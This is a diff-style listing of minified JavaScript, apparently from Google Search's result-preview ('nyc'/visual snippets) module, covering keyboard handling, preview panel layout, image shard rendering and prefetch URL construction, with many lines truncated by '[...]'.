+_.tA=function(a){if(_.pA)if(9==a.keyCode)(0,_.qA)();else{if(27==a.keyCode){var b=_.oA;(0,_.qA)();b.focus();return(0,_.zA)(a)}if(38==a.keyCode)return(0,_.kA)(_.pA,_.m),(0,_.zA)(a);if(40==a.keyCode)return(0,_.kA)(_.pA,_.j),(0,_.zA)(a);if(32==a.keyCode||37==a.keyCode||39==a.keyCode)return(0,_.zA)(a)}return _.j};_.zA=function(a){(0,_.Nh)(a);a.preventDefault&&a.preventDefault();return a.returnValue=_.m};_.wA=function(a){(37==a.keyCode||38==a.keyCode||39==a.keyCode||40==a.keyCode)&&(0,_.zA)(a) [...]
+_.xda=function(a){var b=(0,_.bf)("#rcnt"),c=(0,_.Un)();if(c&&b){var d=(0,window.parseInt)((0,_.ke)(c,"top"),10),e=(0,_.gA)(),e=e?e.offsetHeight:c.offsetHeight,b=(0,_.xe)(b);if(a!=_.AA||d!=_.BA||e!=_.CA||b!=_.DA)_.AA=a,_.BA=d,_.CA=e,_.DA=b,d=0,a&&!_.qo.isch&&(c=(0,_.xe)(c)+e,a+=_.EA,d=window.Math.max(0,a-b+c)),_.FA=d;if((a=(0,_.bf)("#center_col"))&&a.style.paddingTop!=_.FA+"px")a.style.paddingTop=_.FA+"px"}return _.m};_.GA=function(a){a=(0,_.yda)(a);_.HA&&a?(0,_.IA)(a):(0,_.JA)();return _.j};
+_.yda=function(a){if(!a)return _.l;for(var b=a;"center_col"!=b.id;)if(b=b.parentNode,!b)return _.l;if((0,_.If)(a,"vsc"))return a;a=a.childNodes;for(var b=0,c;c=a[b++];)if((0,_.If)(c,"vsc"))return c;return _.l};_.KA=function(a){var b=(0,_.Iz)(a),c=_.LA[b];c||(c=new _.MA(a),_.LA[b]=c);return c};_.MA=function(a,b,c){this.result=a;this.wr=b||0;this.data=c||_.l;this.source=this.B=_.l;this.D=_.m};_.qz=function(a){return 0==a.wr||4==a.wr};_.rz=function(a){return 1==a.wr||4==a.wr};
+_.NA=function(a,b,c){a.wr=b;a.data=c||a.data};_.zda=function(){this.t={start:window.google.time()}};_.OA=function(a,b){var c=(0,_.KA)(a);if(c&&c.B){var d=c.B;if(d.name&&!c.D){c.D=_.j;d.t.ol=window.google.time();for(var c={},e=0,f;f=_.Ada[e++];)f in window.google.kCSI&&(c[f]=window.google.kCSI[f]);1==(0,_.Ez)(a)&&(d.name="ads,ads_"+d.name);e=window.google.sn;window.google.sn=b;try{window.google.report&&window.google.report(d,c)}finally{window.google.sn=e}}}};
+_.Bda=function(a,b,c,d,e,f){this.B=a;this.hG=b;this.D=c;this.H=d;this.N=e||_.m;this.MZ=f||_.l;this.fQ=this.pC=_.l};_.PA=function(a){this.bB(a)};_.QA=function(a){for(;a.H<a.M&&0<a.D.length;){var b=a.D.shift();(0,_.RA)(a,b)}};
+_.RA=function(a,b){if(!a.B[b.B]){var c=(0,_.SA)(a,b);0<=c&&a.D.splice(c,1);if(b.N)c=(0,_.Ze)("img"),c.onload=function(){var c=b.B,d=a.B[c];if(d){var g={};g.img=d.fQ;g.url=c;d.MZ(g)}},c.onerror=b.D,c.src=b.hG,b.fQ=c;else{var d=(0,_.Ze)("script");d.src=b.hG;_.Qe.He||(d.onerror=b.D);d.onreadystatechange=function(){b.H&&b.H(d)};window.setTimeout(function(){(0,_.Ye)(d)},0);b.pC=d}a.B[b.B]=b;a.H++}};_.SA=function(a,b){for(var c=0;c<a.D.length;c++)if(a.D[c].B==b.B)return c;return-1};
+_.TA=function(a,b){var c=a.B[b];c&&(c.pC&&(0,_.UA)(a,c.pC),delete a.B[b],a.H--,(0,_.QA)(a))};_.UA=function(a,b){window.setTimeout(function(){try{(0,_.Fd)(b),_.Pe.He&&!(0,_.Ue)("9")&&(b.src="about:blank")}catch(a){}},0)};_.Cda=function(a,b,c){this.B=a;this.M=c;this.N=0;this.D=b+1;this.H=b-1};
+_.VA=function(a){if(!(0<a.M&&(a.D<a.B.length||0<=a.H)))return(0,_.sz)((0,window.Error)("(visual-snippets) !hasNext()")),_.l;var b=a.N;a.N=(b+1)%3;switch(b){case 0:case 1:if(a.D<a.B.length)return--a.M,a.B[a.D++];case 2:return 0<=a.H?(--a.M,a.B[a.H--]):(0,_.VA)(a)}return _.l};
+_.WA=function(a,b,c){for(var d=0,e;e=_.XA[d];d++)a.removeAttribute(e);if(b.hasAttribute("url"))a.href=b.getAttribute("url");else{d=_.l;if(1==(0,_.Ez)(b)){var f=(0,_.Gz)(b);f&&(d=f.getAttribute("href"),b=b.getAttribute("ived"),d&&b&&(d=(0,_.Vn)("ved",d,b)))}else(f=(0,_.Hz)(b))&&(d=f.getAttribute("href"));if(d){a.href=d;for(d=0;e=_.XA[d];d++)(c=f.getAttribute(e))&&a.setAttribute(e,c)}else a.href=c||"javascript:void(0)"}};_.Dda=function(a,b,c){this.result=a;this.time=b;this.source=c};
+_.YA=function(a,b){a==_.ZA&&window.clearTimeout(_.$A);(0,_.aB)(b.data)?(0,_.NA)(b,2,b.data):((0,_.NA)(b,1,_.yz.msgs.noPreview),b.B&&(b.B.name="e"));_.ZA==a&&((0,_.bB)(a,b),_.cB&&((0,_.oz)(a)?(0,_.OA)(a,"lrd"):(0,_.OA)(a,"vsnip")))};
+_.bB=function(a,b){if(_.ZA==a){_.dB=_.j;(!a?0:a.getAttribute("data-extra"))&&(_.dB=_.m);var c=_.Az;c===_.l||(0,_.Gf)(c,"vspbv");(0,_.qz)(b)?(_.eB.src||(_.eB.src="/images/nycli1.gif"),(0,_.cf)(_.eB,"display","inline")):_.eB===_.l||(0,_.cf)(_.eB,"display","none");(0,_.rz)(b)&&b.data?(_.fB===_.l||(0,_.cf)(_.fB,"display","block"),_.fB.innerHTML=b.data):_.fB===_.l||(0,_.cf)(_.fB,"display","none");if(2==b.wr){if((0,_.gB)(b.data)){var c=b.data,d=_.hB;d===_.l||(0,_.cf)(d,"display","block");_.hB. [...]
+'<a id=vsia style="display:block"></a>';d=_.hB.firstChild;if(c&&c.ssegs&&0<c.ssegs.length){(0,_.WA)(d,a,c.url);d.style.maxWidth=c.dim[0]+2+"px";for(var e=0;e<c.ssegs.length;e++){var f=(0,_.Ze)("img.vsi");f.src=c.ssegs[e];f.style.maxWidth=c.dim[0]+"px";c["ssegs-heights"]&&c["ssegs-heights"][e]&&(f.style.maxHeight=c["ssegs-heights"][e]+"px");(0,_.cf)(f,"display","block");(0,_.cf)(f,"height","auto");d.appendChild(f)}(0,_.iB)();c&&(c.tbts&&0<c.tbts.length)&&(0,_.jB)(c,d)}else if(c&&c.shards& [...]
+(c.dim&&c.dim[0]||_.yz.kfe.vsW||400)+2;(0,_.WA)(d,a,c.url);d.style.maxWidth=e+"px";for(var f=0,g;g=c.shards[f];f++){var h=(0,_.Ze)("div.vssrd");h.style.maxWidth=e+"px";d.appendChild(h);var i=(0,_.Ze)("div.vssrdi");h.appendChild(i);for(var n=0;n<g.imgs.length;n++){var p=(0,_.Ze)("img.vsi");i.appendChild(p);p.src=g.imgs[n];(0,_.cf)(p,"display","block");(0,_.cf)(p,"height","auto")}g.top?i.style.borderTopWidth="1px":(h.style.marginTop="4px",i.style.borderTopWidth="0",(0,_.kB)(h,_.j));g.bot?i [...]
+"1px":(i.style.borderBottomWidth="0",(0,_.kB)(h,_.m))}(0,_.cf)(d,"display","block");(0,_.lB)(c,d);(0,_.iB)();(0,_.jB)(c,d)}}else b.data.html&&(0,_.Eda)(b.data);(0,_.mB)(_.hB)}else _.hB===_.l||(0,_.cf)(_.hB,"display","none")}};_.Eda=function(a){_.nB=_.m;_.hB.innerHTML=a.html+"<script>google.nyc.notifyRanScripts();\x3c/script>";if(!_.nB){a=_.hB.getElementsByTagName("script");for(var b=0;b<a.length;b++)try{eval(a[b].innerHTML)}catch(c){break}}_.nB=_.m;(0,_.cf)(_.hB,"display","block")};
+_.oB=function(a,b,c,d){if(4<=b&&(!_.yz.progressive||!_.yz.progressive.enabled||a.getAttribute("blobref")))b=3;for(var e=b,f="j_"+window.google.kEI+"_",g=(0,_.Iz)(a),h=0,i=0;i<g.length;++i)h=31*h+g.charCodeAt(i),h%=4294967296;var n=f+h+"_"+e,n=n.replace(_.Fda,"_"),p="google.nyc.c."+n;_.pB[n]=function(b){var c;if(c=_.LA[(0,_.Iz)(a)]){if((!b?-100:!(0,_.aB)(b)?-10:b.retry?-2:b.retry==_.m?-1:1)>=(!c.data?-100:!(0,_.aB)(c.data)?-10:c.data.retry?-2:c.data.retry==_.m?-1:1))c.data=b;(0,_.aB)(c.da [...]
+2,c.data):(0,_.NA)(c,1,_.yz.msgs.noPreview)}else c=_.l;if(c){if(c.B){var d=c.B,e=b.s;!e&&b.html&&(e="gws");d.name=d.name||e}b=(d=_.qB.B[p])&&d.M&&(!b.quality||b.quality<_.yz.progressive.replaceQuality);((0,_.gB)(c.data)||!b)&&(0,_.YA)(c.result,c,c.source);(0,_.TA)(_.qB,p);b&&(0,_.oB)(c.result,3)}delete _.pB[n]};g=b;if(e=(0,_.Fz)(a))if(f=a.getAttribute("data-extra")){var g=_.yz.ajax.gwsHost,h=_.yz.ajax.requestPrefix,i=_.yz.ajax.q,k=_.yz.ajax.hl,q=_.yz.ajax.gl,v=a.getAttribute("sig");-1!=f [...]
+(v="");var r=(0,_.We)(2),s=(0,_.We)(0),A=a.getAttribute("bved"),e=[g?"//"+g:"",h,"rdu=",(0,window.encodeURIComponent)(e),"&rdj=",(0,window.encodeURIComponent)(p),(0,_.Gda)(),i?"&q="+(0,window.encodeURIComponent)(i):"",k?"&hl="+(0,window.encodeURIComponent)(k):"",q?"&gl="+(0,window.encodeURIComponent)(q):"",v?"&sig="+(0,window.encodeURIComponent)(v):"","&",f,window.google.kEI?"&ei="+window.google.kEI:"",A?"&vet="+A:"",0<s&&0<r?"&bih="+s+"&biw="+r:""].join("")}else if(f=_.yz.kfe.kfeHost,e= [...]
+_.yz.kfe.clientId,1==(0,_.Ez)(a)&&(h=_.yz.kfe.adsClientId),h="&c="+h,i=(0,_.Fz)(a)){f=[f?"//"+f:"",_.yz.kfe.kfeUrlPrefix,h,"&d=",(0,window.encodeURIComponent)(i),"&b=",2<=g?1:0,"&j=",p];_.yz.kfe.expi&&(f.push("&expi="),f.push((0,window.encodeURIComponent)(_.yz.kfe.expi)));if(h=a.hasAttribute("ma")?a.getAttribute("ma"):_.l)f.push("&ma="),f.push(h);4==g&&(f.push("&q="),f.push(_.yz.progressive.quality),f.push("&t="),f.push(_.yz.progressive.timeout));f.push("&a=");f.push((0,window.encodeURIC [...]
+if(e=a.getAttribute("blobref"))f.push("&bl="),f.push(e);e=f.join("")}else e=_.l;else e=_.l;else e=_.l;if(e){var z=(0,_.KA)(a);z.B=c||z.B;z.source=d||z.source;var t;t=(!a?0:a.getAttribute("data-extra"))?function(){(0,_.TA)(_.qB,p);a.removeAttribute("data-extra");(0,_.oB)(a,3)}:function(){(0,_.YA)(a,z,z.source);(0,_.TA)(_.qB,p)};c=new _.Bda(p,e,t,function(a){window.setTimeout(function(){try{"function"==typeof eval(p)&&("complete"==a.readyState||"loaded"==a.readyState)&&t()}catch(b){}},0)}) [...]
+3<=b?(0,_.RA)(_.qB,c):(b=_.qB,!b.B[c.B]&&0>(0,_.SA)(b,c)&&(b.D.push(c),(0,_.QA)(b)))}};_.Gda=function(){if(_.rB==_.l){for(var a=[],b=0,c;c=_.Hda[b];++b){var d=(0,_.Df)(c);d&&(d=(0,window.encodeURIComponent)((0,window.decodeURIComponent)(d)),a.push("&",c,"=",d))}_.rB=a.join("")}return _.rB};_.aB=function(a){return a!=_.l&&((0,_.gB)(a)||!!a.html)};
+_.gB=function(a){if(!a)return _.m;var b=a.ssegs!=_.l&&0<a.ssegs.length&&0<a.ssegs[0].length&&a.dim!=_.l&&2==a.dim.length;return b=b||a.shards!=_.l&&0<a.shards.length&&a.shards[0].imgs!=_.l&&0<a.shards[0].imgs.length};_.sB=function(a){var b=_.ZA;if(b){var c=(0,_.KA)(b);a&&(_.tB&&(0,_.pz)(b,c,_.tB.source,a,window.google.time()-_.tB.time),_.tB=_.l);if(_.cB&&c&&!c.D&&c.B&&((0,_.qz)(c)||(0,_.rz)(c)))c.B.name="y",(0,_.oz)(b)?(0,_.OA)(b,"lrd"):(0,_.OA)(b,"vsnip")}};_.uB=function(a,b){this.D=a;t [...]
+_.vB=function(a){this.top=a.t;this.bottom=a.b;this.left=a.l;this.right=a.r;this.height=a.h;this.width=a.w;this.B=a.c};_.wB=function(a){return new _.uB(a.top,a.bottom)};
+_.xB=function(a,b){this.H=a.dim&&a.dim[0]||_.yz.kfe.vsW||400;this.D=(0,_.Nf)(_.yB);this.D-=2;this.D=window.Math.min(this.H,this.D);this.scale=this.D/this.H;var c=(0,_.Mf)(_.yB),c=c-b.offsetTop,c=c/this.scale;this.B=this.M=a.dim&&a.dim[1]||0;this.N=[];if(0==this.M&&a.shards&&0<a.shards.length)for(var d=0,e;e=a.shards[d];d++){for(var f=0,g=0;g<e.heights.length;g++)f+=e.heights[g];e=e.top?1:4;e/=this.scale;80<c-e-this.B&&(this.B+=f,this.B+=e);this.M+=f;this.N.push(f)}this.B=window.Math.min( [...]
+this.B*=this.scale};
+_.lB=function(a,b){var c=new _.xB(a,b),d=(0,_.af)("div.vssrd",b);if(d.length==a.shards.length)for(var e=c.B,f=0,g;g=a.shards[f];f++){var h=d[f];if(0>=window.Math.round(e))h.style.display="none";else{h.style.display="block";if(!(0,_.bf)("div.vssrdi",h)){(0,_.sz)((0,window.Error)("(manhattan) Lost shard divs"));break}var e=e-(g.top?1:4),i=c.N[f]*c.scale;if(g.bot&&0<=window.Math.round(e-i)){h.style.height="auto";var n=(0,_.bf)(".vstbtm",h);n&&(n.style.display="none")}else(n=(0,_.bf)(".vstbt [...]
+"block":(0,_.kB)(h,_.m),e<i?(g=window.Math.round(e)+(g.top?1:0),h.style.height=g+"px"):h.style.height="auto";e-=i}}};_.kB=function(a,b){for(var c="vstd "+(b?"vsttop":"vstbtm"),d="vsti ",d=d+(b?"vstitop":"vstibtm"),c=(0,_.Ze)("div."+c),e=0;3>e;e++){var f=(0,_.Ze)("div."+d);c.appendChild(f)}a.appendChild(c)};_.iB=function(){for(var a=(0,_.af)(".vsb",_.zB),b=0,c;c=a[b];b++)(0,_.Fd)(c)};
+_.jB=function(a,b){if(a.ssegs&&0<a.ssegs.length)for(var c=a.dim[0],d=a.dim[1],e=(0,_.Nf)(_.zB)/c||1,f=window.Math.min(e,1)*d,g=window.Math.min(e,1)*c,f=(0,_.AB)(f,g,b),g=(0,_.af)("img.vsi",b),g=g[g.length-1],h=a.tbts,d=new _.uB(0,1<e?d:window.Math.floor(d*e)),i=h.length-1;0<=i;i--)(0,_.BB)(f,h[i],g,c,e,d);else if(a.shards&&0<a.shards.length){for(var c=new _.xB(a,b),e=(0,_.Nf)(_.zB)/c.H||1,d=(0,_.af)("div.vssrd",b),d=d[d.length-1],h=c.B,f=(0,_.AB)(c.B,c.D,b),i=1.5>e,n=c.N,p=c.scale,g=[],k [...]
+a.shards[q];q++){if(v.tbts)for(var r=0;r<v.tbts.length;r++){var s=v.tbts[r];if(!i||(_.yz.kfe.fewTbts?s.lt||s.em:1)){var A={};A.txt=s.txt;A.box=(0,_.CB)(s.box,k);s.txtBox&&(A.txtBox=(0,_.CB)(s.txtBox,k));"dir"in s&&(A.dir=s.dir);g.push(A)}}k+=n[q]+4/p}if(0!=g.length){n=new _.uB(0,h);p=0;if(i&&g[0].box&&(150>g[0].box.t||g[0].txtBox&&150>g[0].txtBox.t)){i=window.Math.max(window.Math.floor(g[0].box.t*c.scale)-2,0);n.D=i;(0,_.BB)(f,g[0],d,c.H,e,n);if(i=(0,_.bf)(".vstbt",b))n.D=i.offsetTop+i.o [...]
+n.B=h;p++}for(h=g.length-1;h>=p;h--)(0,_.BB)(f,g[h],d,c.H,e,n)}}};_.AB=function(a,b,c){if(_.Pe.He&&!(0,_.Ve)("9"))return _.l;var d=(0,_.bf)("canvas.vstbc",c);if(d!=_.l)d.getContext("2d").clearRect(0,0,d.width,d.height);else if(d=(0,_.Ze)("canvas.vstbc"),!d.getContext)return _.l;(0,_.cf)(d,"left","-5px");d.setAttribute("height",a);d.setAttribute("width",b+10);c.appendChild(d);return d.getContext("2d")};
+_.BB=function(a,b,c,d,e,f){if(b.txt&&b.box&&b.box.t!=_.l&&b.box.l!=_.l&&b.box.h!=_.l&&b.box.w!=_.l){var g=!!(b.txtBox&&b.txtBox.t<b.box.t),h=(0,_.Ze)("div.vsb vstbb");(0,_.Ed)(h,c);var i,n=(0,_.DB)(b.box,e);i={t:n.t-2,b:n.t+n.h+2,l:n.l-2,r:n.l+n.w+2};h!==_.l&&((0,_.cf)(h,"top",i.t+"px"),(0,_.cf)(h,"left",i.l+"px"),(0,_.cf)(h,"height",n.h+"px"),(0,_.cf)(h,"width",n.w+"px"),(0,_.cf)(h,"borderWidth","2px"));i=new _.vB(i);var p=b.txt,k=b.dir,n=(0,_.Ze)("div.vsb vstbt");(0,_.cf)(n,"direction" [...]
+n.innerHTML=p;(0,_.Ed)(n,c);if(1.5>e){if(c=(0,_.EB)(n,b.txtBox,e,i,d,g),f.contains((0,_.wB)(c))&&f.contains((0,_.wB)(i))||(c=(0,_.EB)(n,b.txtBox,e,i,d,!g)),f.contains((0,_.wB)(c))&&f.contains((0,_.wB)(i))){h=i.top<c.top?i:c;d=i.top<c.top?c:i;(0,_.FB)(a,"rgba(0, 0, 0, 0.1)",[{x:h.left,y:h.top},{x:h.right,y:h.top},h.right>d.right?{x:h.right,y:h.bottom}:{x:d.right,y:d.top},{x:d.right,y:d.bottom},{x:d.left,y:d.bottom},h.left<d.left?{x:h.left,y:h.bottom}:{x:d.left,y:d.top}]);f.B=window.Math.m [...]
+i.top);return}}else{b=f.B;c=d+4;e=(0,_.Nf)(_.zB)-d-30;n!==_.l&&((0,_.Kf)()?((0,_.cf)(n,"right",c+"px"),(0,_.cf)(n,"borderRightWidth","2px")):((0,_.cf)(n,"left",c+"px"),(0,_.cf)(n,"borderLeftWidth","2px")),(0,_.cf)(n,"width",e+"px"),(0,_.cf)(n,"padding","10px"));e=(i.top+i.bottom)/2;p=n.offsetHeight;g=window.Math.floor(e+p/2);g>b&&(g=b);b=g-p;(0,_.cf)(n,"top",b+"px");c=new _.vB({t:b,b:g,l:c,c:window.Math.floor(e)});if(i=f.contains((0,_.wB)(c))&&f.contains((0,_.wB)(i)))if(!(i=!a))g=c,i=g.B [...]
+i<g.top||!a?i=_.m:(b=window.Math.floor(window.Math.max(i-5,g.top)),e=window.Math.floor(window.Math.min(i+5,g.bottom)),(0,_.Kf)()?(d=-g.left+d+2,(0,_.FB)(a,"#dd4b39",[{x:2,y:i},{x:d,y:b},{x:d,y:e}])):(0,_.FB)(a,"#dd4b39",[{x:d,y:i},{x:g.left,y:b},{x:g.left,y:e}]),i=_.j);if(i){f.B=c.top-4;return}}(0,_.Fd)(h);(0,_.Fd)(n)}};_.CB=function(a,b){var c={};c.t=a.t+b;c.l=a.l;c.h=a.h;c.w=a.w;return c};
+_.DB=function(a,b){if(!a||1<=b)return a;var c={};a.t&&(c.t=window.Math.floor(b*a.t));if(a.l||0==a.l)c.l=window.Math.floor(b*a.l);a.w&&(c.w=window.Math.floor(b*a.w));a.h&&(c.h=window.Math.floor(b*a.h));return c};
+_.EB=function(a,b,c,d,e,f){var g=(0,_.DB)(b,c);if(!b||!(b.l<e&&-5<=b.l&&b.w&&b.w<e))g={l:-5,w:(1<c?e:window.Math.floor(e*c))+10};a!==_.l&&((0,_.cf)(a,"borderWidth","0"),(0,_.cf)(a,"padding","10px"),(0,_.cf)(a,"left",g.l+"px"),(0,_.cf)(a,"width",g.w-20+"px"));b=a.offsetHeight;d=f?d.top-b:d.bottom-2;(0,_.cf)(a,"top",d+"px");(0,_.cf)(a,f?"borderBottomWidth":"borderTopWidth","2px");return new _.vB({t:d,b:d+b+2,l:g.l,r:g.l+g.w})};
+_.FB=function(a,b,c){if(a){a.beginPath();var d=c[0];a.moveTo(d.x+5,d.y);for(var e=1;e<c.length;e++)d=c[e],a.lineTo(d.x+5,d.y);a.closePath();a.fillStyle=b;a.fill()}};_.GB=function(a){return"opacity:"+a+(_.Pe.He?";filter:alpha(opacity="+100*a+")":"")};
+_.HB=function(a,b){if(!(_.IB&&a==_.ZA)){_.JB=window.google.time();_.ZA&&((0,_.Gf)(_.ZA,"vso"),(0,_.sB)());_.ZA=a;_.ZA===_.l||(0,_.Ff)(_.ZA,"vso");_.Az!==_.l&&(a!==_.l&&(0,_.If)(a,"vsta")?((0,_.Ff)(_.Az,"vsta"),(0,_.If)(a,"vsca")?(0,_.Ff)(_.Az,"vsca"):(0,_.Gf)(_.Az,"vsca")):((0,_.Gf)(_.Az,"vsta"),(0,_.Gf)(_.Az,"vsca")));var c=(0,_.T)("nycntg");if(c)if((0,_.oz)(a))c.innerHTML="";else{var d=a.parentElement||a.parentNode,e=(0,_.bf)("h3",a)||(0,_.bf)("h4",a)||(0,_.bf)("a.l",a);(0,_.bf)("butto [...]
+var d=(0,_.bf)("cite",a),f=(0,_.bf)(".vshid",a),g="";e&&(g="A"==e.nodeName.toUpperCase()?g+("<h3 class=r>"+(0,_.KB)(e)+"</h3>"):g+(0,_.KB)(e));g+="<div>";d&&(g+=(0,_.KB)(d));f&&(d&&f.innerHTML&&(g+=" - "),g+=(0,_.KB)(f));g+="</div>";(0,_.nz)(a)&&!a.hasAttribute("sig")&&(g="");c.innerHTML=g;if(1==(0,_.Ez)(a)&&(e=a.getAttribute("hved"))){c=(0,_.af)("a",c);for(d=0;d<c.length;d++)(f=c[d].getAttribute("href"))&&c[d].setAttribute("href",(0,_.Vn)("ved",f,e))}}if(_.yz.exp.larhsp&&(c=(0,_.T) [...]
+(0,_.LB)(c),e=(0,_.T)("nyclad")))if(e.innerHTML="",(0,_.nz)(a)&&(d=(d=(0,_.Gz)(a))?d.getAttribute("href"):""))if(d=d.replace(/ved=[^&]+&/,""),d=_.Ida[d])f=window.document.createElement("div"),f.innerHTML=d,e.appendChild(f),(0,_.MB)(c);_.IB||(_.IB=_.j,(0,_.LB)(_.Az),(0,_.Ff)(window.document.body,"nyc_opening"),(0,_.NB)([80,(0,_.OB)("wipeRight"),80,_.Jda,(0,_.OB)("fadeOut"),80,(0,_.OB)("")]));_.PB=(0,_.QB)().top;(0,_.RB)();c=new _.zda;e=(0,_.KA)(a);b&&a&&(_.tB&&(0,_.pz)(_.tB.result,(0,_.KA [...]
+_.tB.source,9,window.google.time()-_.tB.time),_.tB=new _.Dda(a,window.google.time(),b));a.hasAttribute("sig")?(0,_.aB)(e.data)&&!e.data.retry?(e.source=b,e.B=c,c.name="pf",(0,_.YA)(a,e,b)):((0,_.oB)(a,4,c,b),window.clearTimeout(_.$A),_.$A=window.setTimeout(function(){var b=(0,_.KA)(a);(0,_.bB)(a,b);_.$A=window.setTimeout(function(){2==b.wr||(0,_.NA)(b,4,_.yz.msgs.loading);(0,_.bB)(a,b)},_.yz.time.timeout)},_.yz.time.loading)):(0,_.YA)(a,_.Kda,b);if(_.yz.ajax.prefetchTotal&&!(0>=_.yz.ajax [...]
+[];c=(0,_.af)("div.vsc",(0,_.T)("center_col"));e=-1;if(a)if(window.Array.prototype.indexOf)e=c.indexOf(a);else for(var e=0,h;(h=c[e])&&h!=a;e++);for(h=new _.Cda(c,e,_.yz.ajax.prefetchTotal);0<h.M&&(h.D<h.B.length||0<=h.H);){if(e=c=(0,_.VA)(h))e=(0,_.KA)(c),e=!((0,_.aB)(e.data)&&!e.data.retry);e&&(0,_.oB)(c,2,_.l)}}!(0,_.If)(window.document.body,"vsh")&&(0,_.$d)(window.document)!==_.l&&(0,_.If)((0,_.$d)(window.document),"vspib")&&(0,_.Kz)((0,_.$d)(window.document))==a?(window.setTimeout(f [...]
+160),_.SB=_.j):_.SB=_.m;(0,_.xf)(59,[a]);(0,_.mB)(_.Az)}};_.KB=function(a){if(a.outerHTML)return a.outerHTML;var b=(a.ownerDocument||a.document).createElement("div");b.appendChild(a.cloneNode(_.j));return b.innerHTML};_.TB=function(a){if(!(400>window.google.time()-_.JB))if((a=(0,_.Mh)(a))&&((0,_.If)(a,"vspib")||(0,_.If)(a,"vspii")||(0,_.If)(a,"vspiic")))if(_.IB)(0,_.UB)(1);else{var b=(0,_.Kz)(a);b&&(_.Rz=a,(0,_.HB)(b,1))}else a&&(a==_.Az&&_.IB)&&(0,_.UB)(8)};
+_.Jda=function(){window.google.LU&&window.google.LU.hideLocalRhsContent&&window.google.LU.hideLocalRhsContent();(0,_.Ff)(window.document.body,"nyc_open");(0,_.Gf)(window.document.body,"nyc_opening")};
+_.UB=function(a){_.IB&&(_.JB=window.google.time(),_.IB=_.m,(0,_.sB)(a),4!=a&&(_.HA=_.m),(0,_.cA)(),_.ZA&&(!(0,_.If)(window.document.body,"vsh")&&_.SB&&(a=(0,_.bf)("div.vspib",_.ZA))&&a.focus(),(0,_.Gf)(_.ZA,"vso")),_.ZA=_.l,(0,_.NB)([(0,_.OB)("fadeIn"),80,_.Lda,(0,_.OB)("wipeLeft"),80,(0,_.OB)(""),function(){(0,_.MB)(_.Az);_.Qe.He&&!(0,_.Ve)("9")&&(0,_.Cz)()}]))};
+_.Lda=function(){(0,_.Gf)(window.document.body,"nyc_open");window.google.LU&&window.google.LU.showLocalRhsContent&&window.google.LU.showLocalRhsContent();(0,_.xf)(59,[_.l])};_.NB=function(a,b){function c(a,e){for(;e<a.length;e++){var f=a[e];if("number"==typeof f){f=window.setTimeout(function(){c(a,e+1)},f);b?_.VB=f:_.WB=f;break}"function"==typeof f&&f()}}window.clearTimeout(b?_.VB:_.WB);c(a,0)};_.OB=function(a){"none"==_.XB.style.display&&(0,_.LB)(_.XB);return function(){_.XB.className=a [...]
+_.MB=function(a){a&&(0,_.cf)(a,"display","none")};_.LB=function(a,b){a&&(0,_.cf)(a,"display",b||"block")};_.Mda=function(){(0,_.T)("nyc")==_.Az&&((0,_.RB)(),(0,_.xf)(60))};
+_.RB=function(){if(_.YB&&_.Az&&_.IB){var a=(0,_.QB)(),b=(0,_.xe)(_.YB)+(0,_.Mf)(_.YB),c=_.PB===_.ba?0:a.top-_.PB,d=window.document.documentElement.clientHeight,e=0,f=_.j;if(!_.dB){var g=_.hB;g&&(e=(0,_.xe)(g)+(0,_.Mf)(g)-(0,_.xe)(_.Az),f=d>=e)}g=(0,_.Kf)()?"right":"left";if(a.top>=b&&(0>=c||f))_.Az.style.position="fixed",_.Az.style.top=_.ZB?(0,_.Mf)(_.ZB)+"px":"0",_.Az.style.bottom="0",_.Az.style.height="auto",_.Az.style[g]=-window.Math.abs(a.left)+"px";else{_.Az.style.position="absolute [...]
+(0,_.Mf)(_.YB),(0,_.Xh)()||(b+=(0,_.xe)(_.YB)),window.extab){var b=b+(0,_.Mf)((0,_.T)("appbar")),h=(0,_.T)("hdtbMenus");h&&(0,_.If)(h,"hdtb-td-o")&&(b+=h.offsetHeight)}0<c&&!f&&(b=window.Math.max(b,_.PB));_.Az.style.top=_.yz.exp.esp?0:b+"px";_.Az.style[g]="0";_.Az.style.height=window.Math.max(0,d+a.top-b,e)+"px";_.Az.style.bottom="auto"}c=_.ZA;a=_.hB;if(a.firstChild&&"A"==a.firstChild.nodeName.toUpperCase()&&c&&(c=(0,_.KA)(c))&&c.data)c=c.data,c.shards&&0<c.shards.length&&(0,_.lB)(c,_.hB [...]
+(0,_.iB)(),(0,_.jB)(c,a.firstChild)}};_.QB=function(){return{top:window.document.body.scrollTop||window.document.documentElement.scrollTop||window.pageYOffset||0,left:window.document.body.scrollLeft||window.document.documentElement.scrollLeft||window.pageXOffset||0}};
+_.$B=function(){if(_.aC&&_.yz.elastic.tiny){var a=(0,_.T)("cnt"),b=(0,_.T)("searchform");"ut"==window.gbar.elr().mo?(a&&((0,_.Ff)(a,"tmlo"),(0,_.Gf)(a,"tmhi")),b&&((0,_.Ff)(b,"tmlo"),(0,_.Gf)(b,"tmhi"))):"ty"==window.gbar.elr().mo?(a&&((0,_.Ff)(a,"tmhi"),(0,_.Gf)(a,"tmlo")),b&&((0,_.Ff)(b,"tmhi"),(0,_.Gf)(b,"tmlo"))):(a=(0,_.T)("cnt"),b=(0,_.T)("searchform"),a&&((0,_.Gf)(a,"tmlo"),(0,_.Gf)(a,"tmhi")),b&&((0,_.Gf)(b,"tmlo"),(0,_.Gf)(b,"tmhi")))}};_.Nda=function(){(0,_.sB)(2)};
+_.mB=function(a){a=(0,_.af)("a",a);for(var b=0;b<a.length;b++)(0,_.rh)(a[b],"click",_.Nda)};_.bC=function(a,b){var c=(0,_.T)(b);if(c){var c=(0,_.af)(".vsta",c),d=/[&?]ai=([^&]+)/;if(c)for(var e=0;e<c.length;e++){var f=(0,_.Gz)(c[e]);if((f=d.exec(f))&&2==f.length)if(f=a[f[1]])c[e].setAttribute("data-extra",f.d),f.i&&c[e].setAttribute("icon-classes",f.i)}}};_.cC=function(a){a=(0,_.Kz)(a);if(!a)return _.l;(0,_.HB)(a,6);return a};_.dC=function(){(0,_.UB)(10)};(0,_.Pc)(_.Dc.I(),"sy52");
